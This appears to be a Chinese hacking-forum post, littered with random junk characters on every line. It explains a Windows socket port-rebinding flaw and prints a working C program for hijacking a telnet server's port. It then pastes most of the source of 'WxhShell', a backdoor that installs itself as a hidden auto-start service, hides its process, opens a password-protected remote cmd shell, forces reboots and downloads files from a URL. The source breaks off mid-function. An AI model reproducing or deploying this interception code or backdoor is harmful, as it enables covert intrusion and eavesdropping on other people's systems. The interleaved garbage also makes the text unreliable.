在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Ml VN'w s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{Hg.ctam ]JF>a_2wG saddr.sin_family = AF_INET;
O
N..B}J KfD=3h= saddr.sin_addr.s_addr = htonl(INADDR_ANY);
xsn2Qn/P L q<# bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
CmKbpN* da<B6! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
LPO:Ka =0!PnBGYn 这意味着什么?意味着可以进行如下的攻击:
{2QCdj46 mDZ/Kp{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
o|FjNL Hy}oSy26 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
30 e>C b8Gu<Q1k 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
r&6X|2@ =wbgZr^2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
uL| Wuq o6L\39v_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
hq[;QF:B }n /6.% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
sI>I &f48MtE 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[H ^ktF s?r:McF` #include
6Q\0v #include
gD`|N@W$5 #include
;w0|ev6| #include
;pn*|Bsq DWORD WINAPI ClientThread(LPVOID lpParam);
5Us$.p int main()
_D<=Yo {
.=@xTJh WORD wVersionRequested;
|hHj7X<?k DWORD ret;
!7)` g i WSADATA wsaData;
;$=kfj9 :7 BOOL val;
IkW8$> SOCKADDR_IN saddr;
I|&<!{Rq SOCKADDR_IN scaddr;
pK/r{/>r int err;
uW4)DT9[5 SOCKET s;
,i0Dw"/u SOCKET sc;
NL`}rj int caddsize;
8x":7 yV& HANDLE mt;
E<6Fjy DWORD tid;
i" 0]L5=P wVersionRequested = MAKEWORD( 2, 2 );
!' ;1;k); err = WSAStartup( wVersionRequested, &wsaData );
ob= ]( if ( err != 0 ) {
FO[x
c; printf("error!WSAStartup failed!\n");
iN\m:m return -1;
Jc8^m0_ }
I'W`XN saddr.sin_family = AF_INET;
l;F\s&^ `p qj~s //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
~@Yiwp\" +r8:t5:/I saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
R-%v?? saddr.sin_port = htons(23);
&|6 A
8, if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'F-;uN {
v/ $~ifY" printf("error!socket failed!\n");
7S^ba return -1;
wg-qq4Q\ }
OGA_3|[S val = TRUE;
.AHf]X0 //SO_REUSEADDR选项就是可以实现端口重绑定的
')G,+d^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
b3j?@31AD {
0<ze'FbV] printf("error!setsockopt failed!\n");
04o>POR return -1;
w8(8n&5 }
jg)+]r/hS //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3:H[S_q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Mk=M)d` //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
r1pj-
>]/RlW[ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
w^BF.Nu {
C_5o&O8Bc ret=GetLastError();
Ufw_GYxan printf("error!bind failed!\n");
kh7RQbNY<I return -1;
([g[\c,H }
Sm7O%V8{p listen(s,2);
E}qW' while(1)
d1[;~) {
U!y GZEU"[ caddsize = sizeof(scaddr);
;,WI_iP(w //接受连接请求
O%Hc%EfG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
MP
LgE.n if(sc!=INVALID_SOCKET)
?**9hu\BG {
Jam&Rj, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
^Kbq.4 if(mt==NULL)
+Oxw?`I$ {
0gevn printf("Thread Creat Failed!\n");
ScCp88KpFI break;
6y0CEly>3# }
T<a/GE/
}
U))2?# CloseHandle(mt);
#B$r|rqamq }
s!g06F closesocket(s);
:abpht WSACleanup();
>Tf <8r, return 0;
TWU[/>K }
+hZ{/ DWORD WINAPI ClientThread(LPVOID lpParam)
ByU&fx2Z {
XJSI/jpa@ SOCKET ss = (SOCKET)lpParam;
&mPR[{ SOCKET sc;
;#/Uo8 unsigned char buf[4096];
L\cbY6b
SOCKADDR_IN saddr;
!_P-?u long num;
\Bvy~UeE)> DWORD val;
/z)H7s+ DWORD ret;
r9
5hW //如果是隐藏端口应用的话,可以在此处加一些判断
.EfGL_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/:=,mWoO saddr.sin_family = AF_INET;
.wpp)M.w;H saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
;t xW\iy%Z saddr.sin_port = htons(23);
y$,j'B:;4m if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"AuU5G 9'I {
C#l9MxZE printf("error!socket failed!\n");
Y2!P!u+Q return -1;
&=.SbS }
eWk
W,a val = 100;
SHA6;y+U/~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@{ CP18~: {
A+QOox]< ret = GetLastError();
uQmtd return -1;
hfL8]d- }
qKjUp" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
xXQW|#X\ {
k:yrh:JhB ret = GetLastError();
DQy;W ov return -1;
&0Bs?oq_ }
)VM'^sV? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Fo;. {
d%lwg~@&|5 printf("error!socket connect failed!\n");
m`!Vryf closesocket(sc);
D>6vI closesocket(ss);
IAFj_VWC0 return -1;
j"4]iI+ {" }
hmES@^n!_ while(1)
NGp^/PZX0 {
}nt,DG!r //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
/I@`B2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
Y{`hRz` //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
aSMSuX8 num = recv(ss,buf,4096,0);
3;er.SFu{ if(num>0)
a
IgV"3 send(sc,buf,num,0);
WW3! ,ln_ else if(num==0)
o%3VE8- break;
j\%m6\{n| num = recv(sc,buf,4096,0);
=|O><O| if(num>0)
"tUc send(ss,buf,num,0);
"o>` Y else if(num==0)
7: .bqRu break;
eCy]ugsi% }
Bc1MKE5 closesocket(ss);
zz[[9Am! closesocket(sc);
9oA-Swc[ return 0 ;
;yDXo\gm }
p}MH LM :}+m[g `XK+Y ==========================================================
&?0hj@kd~ [h@MA| 下边附上一个代码,,WXhSHELL
NB.&J7v Z*kZUx7I< ==========================================================
QV*W#K\7q *OR(8; #include "stdafx.h"
e=4k|8 G MtXd}/ #include <stdio.h>
Jh`6@d #include <string.h>
.{Df"e> #include <windows.h>
>vk?wY^f #include <winsock2.h>
9 Xx4,#? #include <winsvc.h>
S+M:{<AR #include <urlmon.h>
JNSH'9!n6 ghVxcK #pragma comment (lib, "Ws2_32.lib")
,}HnS)+ #pragma comment (lib, "urlmon.lib")
L~} 2&w X0zE-h6P #define MAX_USER 100 // 最大客户端连接数
zmpQ=%/H #define BUF_SOCK 200 // sock buffer
SX6P>:` #define KEY_BUFF 255 // 输入 buffer
b 1t7/q Z<~^(W7h #define REBOOT 0 // 重启
Nbm=;FHB` #define SHUTDOWN 1 // 关机
c[E>2P2-_ MnT+p[. #define DEF_PORT 5000 // 监听端口
jY8u1z QAK.Qk?Qu #define REG_LEN 16 // 注册表键长度
R WK##VHK #define SVC_LEN 80 // NT服务名长度
Dwi[aC+k :rX/ILAr // 从dll定义API
n$YCIW)0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
'P,F)*kh typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
WgC*bp{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
CJ
9tO#R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
$C ?G7Vs Q=cbHDB // wxhshell配置信息
WA 79(B struct WSCFG {
G)wIxm$?0 int ws_port; // 监听端口
"K$
y(}C char ws_passstr[REG_LEN]; // 口令
\`: LPe int ws_autoins; // 安装标记, 1=yes 0=no
ICI8xP}a? char ws_regname[REG_LEN]; // 注册表键名
*S>,5R0k char ws_svcname[REG_LEN]; // 服务名
fP
5!`8 char ws_svcdisp[SVC_LEN]; // 服务显示名
?.&?4*u char ws_svcdesc[SVC_LEN]; // 服务描述信息
tmf=1M char ws_passmsg[SVC_LEN]; // 密码输入提示信息
wJF Fg : int ws_downexe; // 下载执行标记, 1=yes 0=no
x1ID6kI[{* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ky5 gU[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|
QI-gw 2\1\Jn#q };
tf@x} ^iwM(d]#5 // default Wxhshell configuration
Y2Y!^A89 struct WSCFG wscfg={DEF_PORT,
q;a#?Du o "xuhuanlingzhe",
_ Oe|ZQ 1,
gDJ@s
"Wxhshell",
*tZ#^YG{( "Wxhshell",
vaEAjg*To< "WxhShell Service",
.+cYzS]! "Wrsky Windows CmdShell Service",
sw@*N "Please Input Your Password: ",
S.Fip_ 1,
]0wmvTR "
http://www.wrsky.com/wxhshell.exe",
3tTz$$-# "Wxhshell.exe"
QU{\ClW/? };
Pf]O'G&F 4MOA}FZ~ // 消息定义模块
,.+"10=N. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
D3emO'`gQ char *msg_ws_prompt="\n\r? for help\n\r#>";
vDAv/l9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
pY9>z;qD char *msg_ws_ext="\n\rExit.";
o )
FjWf; char *msg_ws_end="\n\rQuit.";
FE/2.!]&o char *msg_ws_boot="\n\rReboot...";
8Bnw//_pT char *msg_ws_poff="\n\rShutdown...";
^D0BGC&& char *msg_ws_down="\n\rSave to ";
"@[xo7T ;ckv$S[p char *msg_ws_err="\n\rErr!";
d#eHX|+ char *msg_ws_ok="\n\rOK!";
/@bLc1" |V|)cPQ char ExeFile[MAX_PATH];
m 5NF)eL int nUser = 0;
It\ob7n HANDLE handles[MAX_USER];
ptmPO4f int OsIsNt;
\'L6m1UZ% Q nqU!6k@ SERVICE_STATUS serviceStatus;
" lf_`4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
]41G!'E= uhLg2G^h // 函数声明
ab 1\nzpd int Install(void);
&xqe8!FeA int Uninstall(void);
: |c,.uO int DownloadFile(char *sURL, SOCKET wsh);
:l>T~&/98 int Boot(int flag);
cF[[_ void HideProc(void);
B|O/h!H. int GetOsVer(void);
qt}[M|Q^r int Wxhshell(SOCKET wsl);
yf=ek== void TalkWithClient(void *cs);
9e Dji, int CmdShell(SOCKET sock);
;6 1m int StartFromService(void);
lC1X9Op int StartWxhshell(LPSTR lpCmdLine);
xy|-{ GfQP@R" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ma
}Y\(38 VOID WINAPI NTServiceHandler( DWORD fdwControl );
vAJfMUlP z~oGd, // 数据结构和表定义
Ac.z6]p SERVICE_TABLE_ENTRY DispatchTable[] =
XY|-qd}A {
=k[!p'~jD {wscfg.ws_svcname, NTServiceMain},
3RRZVc*
^ {NULL, NULL}
,U'Er#U };
'U)~|(\i fXw%2wg // 自我安装
+WwQ!vWWd int Install(void)
m[{*an\ {
qgca4VV|z char svExeFile[MAX_PATH];
y( MF_'l HKEY key;
CFZ=!s)B strcpy(svExeFile,ExeFile);
zF]hfP0Q |l ~BdP // 如果是win9x系统,修改注册表设为自启动
DoPm{055J if(!OsIsNt) {
AX1'.
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7Hpsmfm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
){>;eky RegCloseKey(key);
EW4XFP4
c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#IBBaxOk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4:<0i0)5 RegCloseKey(key);
9~,eu return 0;
oUw-l_ M] }
l:HO|Mq }
|<ke>j/6n }
Sjr(e}* else {
`bT{E.(T TL7-uH // 如果是NT以上系统,安装为系统服务
^@)/VfVg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
aXC`yQ? if (schSCManager!=0)
)hQNIt3o_ {
]jHB'Y SC_HANDLE schService = CreateService
317Buk (
1}8e@`G0.] schSCManager,
NE9e brK wscfg.ws_svcname,
v!F(DP.)Z wscfg.ws_svcdisp,
Ir\3c9 SERVICE_ALL_ACCESS,
^s5.jlZr@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
p]+W1 v}V! SERVICE_AUTO_START,
Y+?bo9CES! SERVICE_ERROR_NORMAL,
V7401@F svExeFile,
v,|;uc+ NULL,
2
yP#:T/z NULL,
\k1Wh-3 NULL,
Lp
]d4"L;3 NULL,
~82jL%-u NULL
RV(}\JU );
+Kq>r|; if (schService!=0)
h'-TZXs0e1 {
g>im2AD+e CloseServiceHandle(schService);
^1cqx]>E CloseServiceHandle(schSCManager);
Z^fF^3x strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
~hvhT}lE strcat(svExeFile,wscfg.ws_svcname);
:za!!^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
aYj3a;EmU RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
//+UQgl6 RegCloseKey(key);
TVFGonVY return 0;
?|hzAF"U }
i^IvT }
KFV]2mFN CloseServiceHandle(schSCManager);
wqGZkFg1 }
2tr2:PB` }
x:2[E- iqoPD4A return 1;
tIr66'8 }
d ,QJf\fc" VS).!;>z // 自我卸载
A:NY:#uC int Uninstall(void)
56bB~=c {
Dea;9O HKEY key;
F'#3wCzt . t3@86xTJ if(!OsIsNt) {
[#Yyw8V#< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
vl*RRoJ RegDeleteValue(key,wscfg.ws_regname);
S,8zh/1y RegCloseKey(key);
FD@! z
: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
d=5D 9'+ RegDeleteValue(key,wscfg.ws_regname);
Zh(f2urKV RegCloseKey(key);
K0E;4r return 0;
./g0T{& }
kv5Qxj} }
S$H4xkKs }
Qp=uiXs else {
cn\_;TYiJ -xcz+pHQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
df:,5@CJ8 if (schSCManager!=0)
8@qahEgQ {
WWO jyj SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
TRq~n7Y7C if (schService!=0)
!c&^b@
yw {
(~OwO_|3 if(DeleteService(schService)!=0) {
d)G-K+&B CloseServiceHandle(schService);
qe$K6A %Yd CloseServiceHandle(schSCManager);
{ &qBr&kg return 0;
bR6bS7$ }
aFSZYyPxwv CloseServiceHandle(schService);
I&xRK' }
e!-'O0-Kw CloseServiceHandle(schSCManager);
HIU@m< }
sS|zz,y }
T#BOrT>V C}>)IH return 1;
1=D!C lcb }
lR(&Wc\j ?SAi tQ3 // 从指定url下载文件
fBF}-{VX( int DownloadFile(char *sURL, SOCKET wsh)
vK{K#{ {
L9kP8&&KK HRESULT hr;
)} #r"! char seps[]= "/";
]d[q:N]z char *token;
+|?c_vD char *file;
|s^ar8)=) char myURL[MAX_PATH];
>r*Zm2($MR char myFILE[MAX_PATH];
s=nds"J kp$ILZ strcpy(myURL,sURL);
#X8[g _d/ token=strtok(myURL,seps);
TXa XJIp while(token!=NULL)
4|e#b(! {
B';Ob file=token;
]@P*&FRcZ token=strtok(NULL,seps);
DEs?xl]zO }
/{U{smtdFl %G@aZWk
Sa GetCurrentDirectory(MAX_PATH,myFILE);
@$*c0.
|z strcat(myFILE, "\\");
96.Wfx strcat(myFILE, file);
<#Lw.;(U;k send(wsh,myFILE,strlen(myFILE),0);
h>/ViB@"W| send(wsh,"...",3,0);
vuZ<'?Nm hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
L~$RF {$ if(hr==S_OK)
oN$ZZk
R return 0;
(NQ[AypMI else
mOB\ `&h5 return 1;
bDo'hDmW _"bx#B* }
d5\1-d_uz XJ\q!{;h // 系统电源模块
^\?9W int Boot(int flag)
J$Q-1fjj {
E)P1`X HANDLE hToken;
uM}O8N TOKEN_PRIVILEGES tkp;
H6O\U2+ zaZ}:N/w(z if(OsIsNt) {
@}gdOaw OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
n`,Q: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
kUt9'|9! tkp.PrivilegeCount = 1;
m&q;.|W tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
hF~B&^dd. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
]| yH8 m if(flag==REBOOT) {
twtDyo(\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
$ZU(bEUOG return 0;
H1[aNwLr }
zi
,Rk. else {
h[]N=X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
*LRGfk+h return 0;
:tqjm: }
l 3K8{HY }
nf4P2<L! else {
IMZKlU3 if(flag==REBOOT) {
'dzp@-\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
L@Z
&v'A return 0;
4.'EEuRw\} }
+ LwoBn>6 else {
D$cMPFa2Nt if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*ls6#j@ return 0;
rd))H }
WGmCQE[/c }
eFQi
K6`i 4Le5Ms/ return 1;
Z|c9%., }
Lvq]SzOw [q&J"dt // win9x进程隐藏模块
q,DX{: void HideProc(void)
mz*z1`\7v\ {
:RsPGj6 Yg[IEy HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S nHAY< if ( hKernel != NULL )
l5[xJH {
".%LBs~$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;ZJ,l)BNO ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
WDdi}i>2 FreeLibrary(hKernel);
{*<C!Qg }
]eW|}V7A: 1Ol]^'y7) return;
ugB{2oq i }
i =N\[& Wu( 8G // 获取操作系统版本
`tG_O int GetOsVer(void)
s
vb4uvY {
<6C9R> OSVERSIONINFO winfo;
e<4z) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
?+5{HFx GetVersionEx(&winfo);
I_G>W3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
iyYY)roB return 1;
A#X.c= else
*BsDHq-F~ return 0;
`M ygDG+u }
&8_;: aT#{t{gkA // 客户端句柄模块
hPz
df*(8 int Wxhshell(SOCKET wsl)
{*;]I?9Al {
C..2y4bA} SOCKET wsh;
OLNn3
J struct sockaddr_in client;
"t:.mA<v DWORD myID;
Q!X_&ao)O 51qIo 4$ while(nUser<MAX_USER)
^-GX&ODa {
uV_)JZW,L int nSize=sizeof(client);
i*R:WTw# wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
|OZ>/l { if(wsh==INVALID_SOCKET) return 1;
O'-Zn]@.] #0g#W handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
'c0'P%[5A if(handles[nUser]==0)
YeC,@d[ closesocket(wsh);
Y@H,Lk else
I`W-RWZ nUser++;
D?}m
h1# }
yvWzc
uL# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
0DB<hpC:5 BhW]Oq& return 0;
|Xm4(FN\ }
T[h}A"yK; W}k?gg= // 关闭 socket
P}9Y8$Y>U void CloseIt(SOCKET wsh)
&JhIn%=- {
-ouJf}#R closesocket(wsh);
kgI=0W> nUser--;
pq?[ wp" ExitThread(0);
n,jE#Z.D }
./nYXREO| udD*E~1q // 客户端请求句柄
7 G[ GHc> void TalkWithClient(void *cs)
# )mkD4 {
SKSAriS~ A
Ok7G?Y SOCKET wsh=(SOCKET)cs;
h0GdFWN char pwd[SVC_LEN];
/P!X4~sTM char cmd[KEY_BUFF];
wYQ1Z char chr[1];
K-5"# int i,j;
9`CiE B:- KZuO while (nUser < MAX_USER) {
|369@un6 O\?5#. if(wscfg.ws_passstr) {
}'V'Y[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ys[i`~$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|<3Q+EB^ //ZeroMemory(pwd,KEY_BUFF);
K;y\[2;}e, i=0;
OpbT63@L while(i<SVC_LEN) {
TXD^Do5^ %*5g<5 // 设置超时
_"!{7e`Z fd_set FdRead;
|t 65#1 struct timeval TimeOut;
:*P___S= FD_ZERO(&FdRead);
oyN+pFVB:$ FD_SET(wsh,&FdRead);
W|H4i;u TimeOut.tv_sec=8;
ay:\P.`5) TimeOut.tv_usec=0;
NkA6Cp[Q,1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
h`EH~ W0:z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;;y@z[ > 0^!,[oh6* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
^mgI%_?1 pwd
=chr[0]; R!/,E
if(chr[0]==0xd || chr[0]==0xa) { oX2DFgz
pwd=0; bm tJU3Rm
break; }U?gKlLg
} U)`3[fo
i++; cB|Cy{%
} hDB`t
$
7:VEM;[d
// 如果是非法用户,关闭 socket Xw*%3'
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
il IV}8
} !QQ<Ai!E
k\Z;Cmh>
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); neB.Wu~WH
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +2V%'{:
\}u7T[R=`
while(1) { ]O[+c*|w
Q_dXRBv=n
ZeroMemory(cmd,KEY_BUFF); 9!O+Ryy?\
KF:]4`$
// 自动支持客户端 telnet标准 lk*0c{_L
j=0; iC\rhHKQ
while(j<KEY_BUFF) { kKxL04
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %|`:5s-T%
cmd[j]=chr[0]; mq{$9@3
if(chr[0]==0xa || chr[0]==0xd) { )WP]{ W)r
cmd[j]=0; >uyeI&z
break; c69U1
} r?"}@MRW
j++; 1&8j3"
} l${Hgn+
~51kiQW
// 下载文件 _cxm}*}\#
if(strstr(cmd,"http://")) { %;=IMMK
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Imh2~rw;
if(DownloadFile(cmd,wsh)) PUQ_w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =#.8$oa^
else %)<oX9E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OUlxeo/
} I*+LJy;j
else { )I Y 5Y
uHUvntr
switch(cmd[0]) { fw:7Q7
qo
2rR@2Vsw2
// 帮助 ?b*/ddIs
case '?': { LM"W)S
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k Z+ q
break; 45r]wT(C
} vu_>U({.
T
// 安装 =A0"0D{\
case 'i': { @sB}q 6>
if(Install()) Qb6QXjN
Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?;:9
W
else
8(vC jL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7GBZA=J
break; d5w_[=9U
} A=v lC?&Z
// 卸载 j{Yt70Wv
case 'r': { YZ"+c&V"
if(Uninstall()) 8CP9DS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g)Vq5en*
else "%.|n|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =RW*
%8C
break; <t?x 'r?@
}
w2uRN?
// 显示 wxhshell 所在路径 ;S=62_Un
case 'p': { @MN}^umx`
char svExeFile[MAX_PATH]; ;e#>n!<u
strcpy(svExeFile,"\n\r"); *tTP8ZCQ[
strcat(svExeFile,ExeFile); `G"|MM>P
send(wsh,svExeFile,strlen(svExeFile),0); (B>yaM#5
break; lgCHGv2@
} D+ah ok
// 重启 RMS.1: O
case 'b': { 2cs?("8e%
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aJK-O"0/
if(Boot(REBOOT)) S 0R8'Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ys&"r":I
else { g^s+C Z
closesocket(wsh); wq:b j=j
ExitThread(0); M(;y~|e
} %gV)arwK
break; q;~R:}?@
} F9m 2C'U
// 关机 Ur_S
[I
case 'd': { jsk:fh0~M
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]6a/0rg:t
if(Boot(SHUTDOWN)) Ek"YM[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \S=XIf
else { >Jm-2W5J
closesocket(wsh); \&eY)^vw
ExitThread(0); G]L0eV
} ~I8v5 H
break; 3n.+_ jQ>s
} th.M.jas
// 获取shell k1^V?O
case 's': { S`pF7[%rp
CmdShell(wsh); XsAY4WTS
closesocket(wsh); L"""\5Bn(
ExitThread(0); $Qn&jI38
break; 9O),/SH;:
} r\A@&5#q
// 退出 kbfuvJ>
case 'x': { [b7it2`dl
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B]'e$uyL7
CloseIt(wsh); q6;OS.f
break; KcIc'G 9
} T5K-gz7A
// 离开 K%Usjezv&
case 'q': { t!6\7Vm/
send(wsh,msg_ws_end,strlen(msg_ws_end),0); gzl%5`DB w
closesocket(wsh); GAg.p?Sq
WSACleanup(); ox(*
exit(1); sl~b\j
break; =1gDjF9|
} ^K7q<X ,
} keT?,YI
} #[no~&E
C#A@)>
// 提示信息 )v${&H
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &tlR~?$e*
} B*9
} fswZM\@
Eem 2qKj
return; Ix( 6
} i
FC"!23f
,3G$`
// shell模块句柄 Zr\2BOcc.l
int CmdShell(SOCKET sock) >=4sPF)
{ NY~ dM\
STARTUPINFO si; w0#%AK
ZeroMemory(&si,sizeof(si)); V[#6yMU @
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; II.<S C
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bq:wEMM4s
PROCESS_INFORMATION ProcessInfo; j FgZ}Xp
char cmdline[]="cmd"; cNdu.c[@
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }=Hf?';m
return 0; IetCMp
} @; W<dJ<X
ceqFQ
// 自身启动模式 E2>im>p
int StartFromService(void) XZF%0g2$b
{ ILNE 4n
typedef struct }j&O/Up
{ -Bl/4p
DWORD ExitStatus; n(Qj||:
DWORD PebBaseAddress; S{o@QVbl
